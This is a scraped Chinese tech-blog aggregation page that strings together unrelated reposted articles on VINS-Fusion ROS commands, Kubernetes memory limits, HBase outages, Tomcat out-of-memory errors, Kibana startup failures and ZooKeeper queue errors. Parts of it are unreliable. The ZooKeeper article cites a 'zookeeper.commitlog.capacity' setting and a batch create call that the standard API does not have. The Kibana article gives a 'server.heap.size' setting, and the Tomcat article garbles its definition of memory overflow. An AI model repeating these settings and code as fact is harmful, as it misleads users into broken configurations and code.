https://github.com/HKUST-Aerial-Robotics/VINS-Fusion.gitcd ..catkin_makesource devel/setup.bash按照readme 3.1 Monocualr camera + IMUroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_mono_imu_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_mono_imu_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag 3.2 Stereo cameras + IMUroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_imu_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_imu_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag 3.3 Stereo camerasroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag<img src="https://github.com/HKUST-Aerial-Robotics/VINS-Fusion/blob/master/support_files/image/euroc.gif" width = 430 height = 240 /> 4. KITTI Example 4.1 KITTI Odometry (Stereo)Download [KITTI Odometry dataset](http://www.cvlibs.net/datasets/kitti/eval_odometry.php) to YOUR_DATASET_FOLDER. Take sequences 00 for example,Open two terminals, run vins and rviz respectively. (We evaluated odometry on KITTI benchmark without loop closure funtion)roslaunch vins vins_rviz.launch(optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/kitti_odom/kitti_config00-02.yamlrosrun vins kitti_odom_test ~/catkin_ws/src/VINS-Fusion/config/kitti_odom/kitti_config00-02.yaml YOUR_DATASET_FOLDER/sequences/00/ 4.2 KITTI GPS Fusion (Stereo + GPS)Download [KITTI raw dataset](http://www.cvlibs.net/datasets/kitti/raw_data.php) to YOUR_DATASET_FOLDER. Take [2011_10_03_drive_0027_synced](https://s3.eu-central-1.amazonaws.com/avg-kitti/raw_data/2011_10_03_drive_0027/2011_10_03_drive_0027_sync.zip) for example.Open three terminals, run vins, global fusion and rviz respectively. Green path is VIO odometry; blue path is odometry under GPS global fusion.roslaunch vins vins_rviz.launchrosrun vins kitti_gps_test ~/catkin_ws/src/VINS-Fusion/config/kitti_raw/kitti_10_03_config.yaml YOUR_DATASET_FOLDER/2011_10_03_drive_0027_sync/ rosrun global_fusion global_fusion_node<img src="https://github.com/HKUST-Aerial-Robotics/VINS-Fusion/blob/master/support_files/image/kitti.gif" width = 430 height = 240 /> 5. VINS-Fusion on car demonstrationDownload [car bag](https://drive.google.com/open?id=10t9H1u8pMGDOI6Q2w2uezEq5Ib-Z8tLz) to YOUR_DATASET_FOLDER.Open four terminals, run vins odometry, visual loop closure(optional), rviz and play the bag file respectively. Green path is VIO odometry; red path is odometry under visual loop closure.roslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/vi_car/vi_car.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/vi_car/vi_car.yaml rosbag play YOUR_DATASET_FOLDER/car.bag 本篇文章为转载内容。原文链接:https://blog.csdn.net/slzlincent/article/details/104364909。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-13 20:38:56
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...下面 是配置文件: memory-request-limit.yaml apiVersion: v1kind: Podmetadata:name: memory-demospec:containers:- name: memory-demo-ctrimage: vish/stressresources:limits:memory: "200Mi"requests:memory: "100Mi"args:- -mem-total- 150Mi- -mem-alloc-size- 10Mi- -mem-alloc-sleep- 1s 在这个配置文件里,args代码段提供了容器所需的参数。-mem-total 150Mi告诉容器尝试申请150M 的内存。 创建Pod: kubectl create -f https://k8s.io/docs/tasks/configure-pod-container/memory-request-limit.yaml --namespace=mem-example 验证Pod的容器是否正常运行: kubectl get pod memory-demo --namespace=mem-example 查看Pod的详细信息: kubectl get pod memory-demo --output=yaml --namespace=mem-example 这个输出显示了Pod里的容器申请了100M的内存和200M的内存限制。 ...resources:limits:memory: 200Mirequests:memory: 100Mi... 启动proxy以便我们可以访问Heapster服务: kubectl proxy 在另外一个命令行窗口,从Heapster服务获取内存使用情况: curl http://localhost:8001/api/v1/proxy/namespaces/kube-system/services/heapster/api/v1/model/namespaces/mem-example/pods/memory-demo/metrics/memory/usage 这个输出显示了Pod正在使用162,900,000字节的内存,大概就是150M。这很明显超过了申请 的100M,但是还没达到200M的限制。 {"timestamp": "2017-06-20T18:54:00Z","value": 162856960} 删除Pod: kubectl delete pod memory-demo --namespace=mem-example 超出容器的内存限制 只要节点有足够的内存资源,那容器就可以使用超过其申请的内存,但是不允许容器使用超过其限制的 资源。如果容器分配了超过限制的内存,这个容器将会被优先结束。如果容器持续使用超过限制的内存, 这个容器就会被终结。如果一个结束的容器允许重启,kubelet就会重启他,但是会出现其他类型的运行错误。 本实验,我们创建一个Pod尝试分配超过其限制的内存,下面的这个Pod的配置文档,它申请50M的内存, 内存限制设置为100M。 memory-request-limit-2.yaml apiVersion: v1kind: Podmetadata:name: memory-demo-2spec:containers:- name: memory-demo-2-ctrimage: vish/stressresources:requests:memory: 50Milimits:memory: "100Mi"args:- -mem-total- 250Mi- -mem-alloc-size- 10Mi- -mem-alloc-sleep- 1s 在配置文件里的args段里,可以看到容器尝试分配250M的内存,超过了限制的100M。 创建Pod: kubectl create -f https://k8s.io/docs/tasks/configure-pod-container/memory-request-limit-2.yaml --namespace=mem-example 查看Pod的详细信息: kubectl get pod memory-demo-2 --namespace=mem-example 这时候,容器可能会运行,也可能会被杀掉。如果容器还没被杀掉,重复之前的命令直至 你看到这个容器被杀掉: NAME READY STATUS RESTARTS AGEmemory-demo-2 0/1 OOMKilled 1 24s 查看容器更详细的信息: kubectl get pod memory-demo-2 --output=yaml --namespace=mem-example 这个输出显示了容器被杀掉因为超出了内存限制。 lastState:terminated:containerID: docker://65183c1877aaec2e8427bc95609cc52677a454b56fcb24340dbd22917c23b10fexitCode: 137finishedAt: 2017-06-20T20:52:19Zreason: OOMKilledstartedAt: null 本实验里的容器可以自动重启,因此kubelet会再去启动它。输入多几次这个命令看看它是怎么 被杀掉又被启动的: kubectl get pod memory-demo-2 --namespace=mem-example 这个输出显示了容器被杀掉,被启动,又被杀掉,又被启动的过程: stevepe@sperry-1:~/steveperry-53.github.io$ kubectl get pod memory-demo-2 --namespace=mem-exampleNAME READY STATUS RESTARTS AGEmemory-demo-2 0/1 OOMKilled 1 37sstevepe@sperry-1:~/steveperry-53.github.io$ kubectl get pod memory-demo-2 --namespace=mem-exampleNAME READY STATUS RESTARTS AGEmemory-demo-2 1/1 Running 2 40s 查看Pod的历史详细信息: kubectl describe pod memory-demo-2 --namespace=mem-example 这个输出显示了Pod一直重复着被杀掉又被启动的过程: ... Normal Created Created container with id 66a3a20aa7980e61be4922780bf9d24d1a1d8b7395c09861225b0eba1b1f8511... Warning BackOff Back-off restarting failed container 查看集群里节点的详细信息: kubectl describe nodes 输出里面记录了容器被杀掉是因为一个超出内存的状况出现: Warning OOMKilling Memory cgroup out of memory: Kill process 4481 (stress) score 1994 or sacrifice child 删除Pod: kubectl delete pod memory-demo-2 --namespace=mem-example 配置超出节点能力范围的内存申请 内存的申请和限制是针对容器本身的,但是认为Pod也有容器的申请和限制是一个很有帮助的想法。 Pod申请的内存就是Pod里容器申请的内存总和,类似的,Pod的内存限制就是Pod里所有容器的 内存限制的总和。 Pod的调度策略是基于请求的,只有当节点满足Pod的内存申请时,才会将Pod调度到合适的节点上。 在这个实验里,我们创建一个申请超大内存的Pod,超过了集群里任何一个节点的可用内存资源。 这个容器申请了1000G的内存,这个应该会超过你集群里能提供的数量。 memory-request-limit-3.yaml apiVersion: v1kind: Podmetadata:name: memory-demo-3spec:containers:- name: memory-demo-3-ctrimage: vish/stressresources:limits:memory: "1000Gi"requests:memory: "1000Gi"args:- -mem-total- 150Mi- -mem-alloc-size- 10Mi- -mem-alloc-sleep- 1s 创建Pod: kubectl create -f https://k8s.io/docs/tasks/configure-pod-container/memory-request-limit-3.yaml --namespace=mem-example 查看Pod的状态: kubectl get pod memory-demo-3 --namespace=mem-example 输出显示Pod的状态是Pending,因为Pod不会被调度到任何节点,所有它会一直保持在Pending状态下。 kubectl get pod memory-demo-3 --namespace=mem-exampleNAME READY STATUS RESTARTS AGEmemory-demo-3 0/1 Pending 0 25s 查看Pod的详细信息包括事件记录 kubectl describe pod memory-demo-3 --namespace=mem-example 这个输出显示容器不会被调度因为节点上没有足够的内存: Events:... Reason Message------ -------... FailedScheduling No nodes are available that match all of the following predicates:: Insufficient memory (3). 内存单位 内存资源是以字节为单位的,可以表示为纯整数或者固定的十进制数字,后缀可以是E, P, T, G, M, K, Ei, Pi, Ti, Gi, Mi, Ki.比如,下面几种写法表示相同的数值:alue: 128974848, 129e6, 129M , 123Mi 删除Pod: kubectl delete pod memory-demo-3 --namespace=mem-example 如果不配置内存限制 如果不给容器配置内存限制,那下面的任意一种情况可能会出现: 容器使用内存资源没有上限,容器可以使用当前节点上所有可用的内存资源。 容器所运行的命名空间有默认内存限制,容器会自动继承默认的限制。集群管理员可以使用这个文档 LimitRange来配置默认的内存限制。 内存申请和限制的原因 通过配置容器的内存申请和限制,你可以更加有效充分的使用集群里内存资源。配置较少的内存申请, 可以让Pod跟任意被调度。设置超过内存申请的限制,可以达到以下效果: Pod可以在负载高峰时更加充分利用内存。 可以将Pod的内存使用限制在比较合理的范围。 清理 删除命名空间,这会顺便删除命名空间里的Pod。 kubectl delete namespace mem-example 译者:NickSu86 原文链接 本篇文章为转载内容。原文链接:https://blog.csdn.net/Aria_Miazzy/article/details/99694937。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-23 12:14:07
495
转载
HBase
....memstore.size", "500m"); HBaseTestingUtility htu = new HBaseTestingUtility(config); htu.startMiniCluster(); 2. 网络问题 HBase是一个分布式系统,需要依赖网络进行通信。要是网络闹情绪,出现丢包或者延迟飙升的情况,那可能就会影响到HBase服务的正常运行,搞不好还会让它罢工呢。 java //模拟网络丢包 Mockito.when(client.sendRequest(any(Request.class))).thenThrow(new IOException("Network error")); 3. 数据一致性问题 HBase采用基于时间戳的强一致性模型,当多个节点同时修改相同的数据时,如果没有正确的协调机制,可能会导致数据不一致。 java //模拟并发写入导致的数据冲突 ConcurrentModificationException exception = new ConcurrentModificationException("Data conflict"); doThrow(exception).when(store).put(eq(row), eq(values)); 4. 配置错误 配置错误是常见的问题,如未正确设置参数,或者误删了重要的配置文件等,都可能导致HBase服务中断。 java //删除配置文件 File file = new File("/path/to/config/file"); if (file.exists()) { file.delete(); } 三、HBase服务异常中断解决方案 针对上述的HBase服务异常中断原因,可以采取以下几种解决方案: 1. 提升硬件资源 增加内存、CPU、硬盘等硬件资源,确保HBase能够有足够的资源来运行。 2. 解决网络问题 优化网络环境,提高网络带宽和稳定性,减少丢包和延迟。 3. 强化数据一致性管理 引入事务机制,确保数据的一致性。比如,我们可以利用HBase的MVCC(多版本并发控制)技术,或者请Zookeeper这位大管家帮忙,协调各个节点间的数据同步工作。就像是在一群小伙伴中,有人负责记录不同版本的信息,有人负责确保大家手里的数据都是最新最准确的那样。 4. 检查并修复配置错误 定期检查和维护配置文件,避免因配置错误而导致的服务中断。 以上就是对HBase服务异常中断的一些分析和解决方案。在实际操作的时候,咱们还要看具体情况、瞅准真实需求,像变戏法一样灵活挑拣并运用这些方法。
2023-07-01 22:51:34
558
雪域高原-t
Tomcat
...溢出(Out of Memory)问题?”。这个问题可能会让你挠破头皮,一旦内存溢出这个捣蛋鬼出现,Tomcat这家伙就像被拔了电源一样突然罢工,你的应用程序也就跟着“砰”地一下崩溃了。那么,如何有效地处理这个问题呢? 二、了解什么是内存溢出 首先,我们需要了解什么是内存溢出。简单来讲,内存溢出就跟你家的衣柜一样,本来只能装100件衣服,你却硬塞了200件进去,结果柜门关不上了,新的衣服也没法放进来。在计算机的世界里,就是系统给程序分配的内存空间超出了它实际需要的量,这样一来,那些超额占用的内存没法及时清出来,久而久之,别的程序想借用点内存都没法正常进行,于是乎,大家伙儿的工作效率都被影响到了。 三、Tomcat内存溢出的原因 接下来,我们来看看Tomcat内存溢出的主要原因。一般来说,主要有以下几点: 1. 代码错误 比如循环嵌套过深,一次性加载大量数据等。 2. 配置不当 比如JVM最大堆大小设置得过小,或者并发线程过多等。 3. 系统资源不足 比如硬盘空间不足,CPU资源紧张等。 四、解决Tomcat内存溢出的方法 了解了Tomcat内存溢出的原因之后,我们可以采取一些方法来解决这个问题。 1. 检查代码 首先,我们需要检查我们的代码是否存在错误。这包括但不限于循环嵌套过深,一次性加载大量数据等问题。比如,你正在对付那些海量数据的时候,如果一股脑把所有数据都塞进内存里,那可就麻烦了,很可能会让内存“撑破肚皮”,出现溢出的情况。正确的做法应该是分批加载数据,并在处理完一批数据后立即释放内存。 java for (int i = 0; i < data.size(); i += BATCH_SIZE) { List batchData = data.subList(i, Math.min(i + BATCH_SIZE, data.size())); // process the batchData } 2. 调整配置 其次,我们需要调整Tomcat的配置。比如你可以增加JVM的最大堆大小,或者减少并发线程的数量。具体操作如下: - 增加JVM最大堆大小:可以在CATALINA_OPTS环境变量中添加参数-Xms和-Xmx,分别表示JVM最小堆大小和最大堆大小。 bash export CATALINA_OPTS="-Xms1g -Xmx1g" - 减少并发线程数量:可以在server.xml文件中修改maxThreads属性,表示连接器最大同时处理的请求数量。 xml connectionTimeout="20000" redirectPort="8443" maxThreads="100"/> 3. 使用外部存储 如果以上两种方法都无法解决问题,你还可以考虑使用外部存储,比如数据库或者磁盘缓存,将部分数据暂时存储起来,以减小内存的压力。 五、总结 总的来说,解决Tomcat内存溢出的问题并不是一件难事,只要我们能找到问题的根本原因,然后采取相应的措施,就可以轻松应对。记住了啊,编程这玩意儿,既是一种艺术创作,又是一种科学研究。就像咱们在敲代码的过程中,也得不断学习新知识,探索未知领域,这样才能让自己的技术水平蹭蹭往上涨!希望这篇文章能对你有所帮助,如果你有任何问题,欢迎随时留言交流。谢谢大家! 六、额外推荐 最后,我想给大家推荐一款非常实用的在线工具——JProfiler。它可以实时监控Java应用的各种性能指标,包括内存占用、CPU使用率、线程状态等,对于诊断内存溢出等问题非常有帮助。如果你正在寻找这样的工具,不妨试试看吧。
2023-11-09 10:46:09
172
断桥残雪-t
Kibana
...in/kibana Error: Kibana failed to start with status code: 500. Error: {"message":"An internal server error occurred."} 2. 常见原因与排查步骤 2.1 配置文件问题 (1)Elasticsearch连接设置:Kibana需要正确地连接到Elasticsearch以获取数据。检查kibana.yml中的elasticsearch.hosts配置项是否指向了正确的Elasticsearch地址。 yaml kibana.yml elasticsearch.hosts: ["http://localhost:9200"] (2)端口冲突或未开放:确认Kibana配置的监听端口(默认为5601)是否被其他进程占用,或者防火墙规则是否阻止了该端口的访问。 2.2 Elasticsearch状态检查 确保Elasticsearch服务已经成功启动并运行正常。尝试通过curl命令或者浏览器访问Elasticsearch的API来验证其状态。 shell $ curl -X GET 'http://localhost:9200' 如果返回结果包含"status": 200,说明Elasticsearch运行正常;否则,请检查Elasticsearch日志以找到可能存在的问题。 2.3 资源不足 Kibana在启动过程中可能因为内存不足等原因导致服务器内部错误。检查主机的系统资源状况,包括内存、磁盘空间等。必要时,可以通过增加JVM堆大小来缓解内存压力: yaml kibana.yml server.heap.size: 4g 根据实际情况调整 2.4 Kibana版本与Elasticsearch版本兼容性 不同版本的Kibana和Elasticsearch之间可能存在兼容性问题。记得啊,伙计,在使用Kibana的时候,一定要让它和Elasticsearch的版本“门当户对”。你要是不清楚它们两个该配哪个版本,就翻翻Elastic官方文档里那个兼容性对照表,一切答案就在那里揭晓啦! 2.5 日志分析 在面对上述常见情况排查后仍未能解决问题时,查阅Kibana的logs目录下的错误日志是至关重要的一步。这些详细的错误信息往往能直接揭示问题所在。 shell $ tail -f /path/to/kibana/logs/kibana.log 3. 解决方案与实践经验 经过一系列的排查和理解,我们应该能找到引发“服务器内部错误”的根源。当你遇到具体问题时,就得对症下药,灵活应对。比如说,有时候你可能需要调整一下配置文件,把它“修正”好;有时候呢,就像重启电脑能解决不少小毛病一样,你也可以选择重启相关的服务;再比如,如果软件版本出了问题,那咱就考虑给它来个升级或者降级的操作;当然啦,优化系统资源也是必不可少的一招,让整个系统跑得更加流畅、顺滑。 总结来说,面对Kibana无法启动并报出“服务器内部错误”,我们要有耐心和细致入微的排查精神,就如同侦探破案一样,层层剥茧,找出那个隐藏在深处的“罪魁祸首”。同时,也千万记得要充分运用咱们的社区、查阅各种文档资料,还有那个无所不能的搜索引擎。很多前人总结的经验心得,或者是现成的问题解决方案,都可能成为帮我们破译问题谜团的那把金钥匙呢!
2023-11-01 23:24:34
339
百转千回
ZooKeeper
...我们要做的就是想办法避免这种情况的发生。 --- 二、为什么会出现CommitQueueFullException? 在深入讨论解决方案之前,我觉得有必要先搞清楚为什么会发生这种异常。其实,这背后涉及到了ZooKeeper的一些设计细节。 首先,ZooKeeper的队列大小是由配置文件中的zookeeper.commitlog.capacity参数决定的。默认情况下,这个值是比较小的,可能只有几兆字节。想象一下,你的应用像一个忙碌的快递站,接到了无数订单(也就是那些请求)。但要是快递小哥忙得顾不上送货,订单就会越堆越多,很快整个站点就塞满了,连下一份订单都没地方放了! 其次,网络环境也是一个重要因素。有时候,客户端和服务端之间的网络延迟会导致请求堆积。就算客户端那边请求没那么频繁,但要是服务端反应慢了,照样会出问题啊。 最后,还有一个容易被忽视的原因就是客户端的连接数过多。每个连接都会占用一定的资源,包括内存和CPU。要是连上的用户太多了,但服务器的“体力”又不够强(比如内存、CPU之类的资源有限),那它就很容易“忙不过来”,导致请求都排着队等着,根本处理不完。 说到这里,我忍不住想吐槽一下自己曾经犯过的错误。嘿,有次我在测试环境里弄了个能扛大流量的程序,结果发现ZooKeeper老是蹦出个叫“CommitQueueFullException”的错误,烦得不行!我当时就纳闷了:“我明明设了个挺合理的线程池大小啊,怎么还出问题了呢?”后来一查才发现,坏事了,是客户端的连接数配少了,结果请求都堵在那儿了,就像高速公路堵车一样。真是教训深刻啊! --- 三、如何优雅地处理CommitQueueFullException? 既然知道了问题的根源,那接下来就要谈谈具体的解决办法了。我觉得可以从以下几个方面入手: 1. 调整队列大小 最直接的办法当然是增大队列的容量。通过修改zookeeper.commitlog.capacity参数,可以让ZooKeeper拥有更大的缓冲空间。其实嘛,这个方法也不是啥灵丹妙药,毕竟咱们手头的硬件资源就那么多,要是傻乎乎地把队列弄得太长,说不定反而会惹出别的麻烦,比如让系统跑得更卡之类的。 代码示例: properties zookeeper.commitlog.capacity=10485760 上面这段配置文件的内容表示将队列大小调整为10MB。你可以根据实际情况进行调整。 2. 优化客户端逻辑 很多时候,CommitQueueFullException并不是因为服务器的问题,而是客户端的请求模式不合理造成的。比如说,你是否可以合并多个小请求为一个大请求?或者是否可以采用批量操作的方式减少请求次数? 举个例子,假设你在做一个日志采集系统,每天需要向ZooKeeper写入成千上万个临时节点。与其每次都往一个节点里写东西,不如一口气往多个节点里写,这样能大大减少你发出的请求次数,省事儿又高效! 代码示例: java List nodesToCreate = Arrays.asList("/node1", "/node2", "/node3"); List createdNodes = zk.create("/batch/", new byte[0], ZooDefs.Ids.OPEN_ACL_UNSAFE, CreateMode.EPHEMERAL_SEQUENTIAL, nodesToCreate.size()); System.out.println("Created nodes: " + createdNodes); 在这段代码中,我们一次性创建了三个临时节点,而不是分别调用三次create()方法。这样的做法不仅减少了请求次数,还提高了效率。 3. 增加服务器资源 如果以上两种方法都不能解决问题,那么可能就需要考虑升级服务器硬件了。比如增加内存、提升CPU性能,甚至更换更快的磁盘。当然,这通常是最后的选择,因为它涉及到成本和技术难度。 4. 使用异步API ZooKeeper提供了同步和异步两种API,其中异步API可以在一定程度上缓解CommitQueueFullException的问题。异步API可酷了!你提交个请求,它立马给你返回结果,根本不用傻等那个响应回来。这样一来啊,就相当于给任务队列放了个假,压力小了很多呢! 代码示例: java import org.apache.zookeeper.AsyncCallback.StringCallback; public class AsyncExample implements StringCallback { @Override public void processResult(int rc, String path, Object ctx, String name) { if (rc == 0) { System.out.println("Node created successfully at path: " + name); } else { System.err.println("Failed to create node with error code: " + rc); } } public static void main(String[] args) throws Exception { ZooKeeper zk = new ZooKeeper("localhost:2181", 5000, null); zk.createAsync("/asyncTest", "data".getBytes(), ZooDefs.Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT, new AsyncExample(), null); } } 在这段代码中,我们使用了createAsync()方法来异步创建节点。相比于同步版本,这种方式不会阻塞主线程,从而降低了队列满的风险。 --- 四、总结与展望 通过今天的探讨,我相信大家都对CommitQueueFullException有了更深刻的理解。嘿,别被这个错误吓到!其实啊,它也没那么可怕。只要你找到对的方法,保证分分钟搞定,就跟玩儿似的! 回顾整个过程,我觉得最重要的是要保持冷静和耐心。遇到技术难题的时候啊,别慌!先搞清楚它到底是个啥问题,就像剥洋葱一样,一层层搞明白本质。接着呢,就一步一步地去找解决的办法,慢慢来,总能找到出路的!就像攀登一座高山一样,每一步都需要脚踏实地。 最后,我想鼓励大家多动手实践。理论固然重要,但真正的成长来自于不断的尝试和失败。希望大家能够在实际项目中运用今天学到的知识,创造出更加优秀的应用! 好了,今天的分享就到这里啦!如果你还有什么疑问或者想法,欢迎随时交流哦~
2025-03-16 15:37:44
10
林中小径
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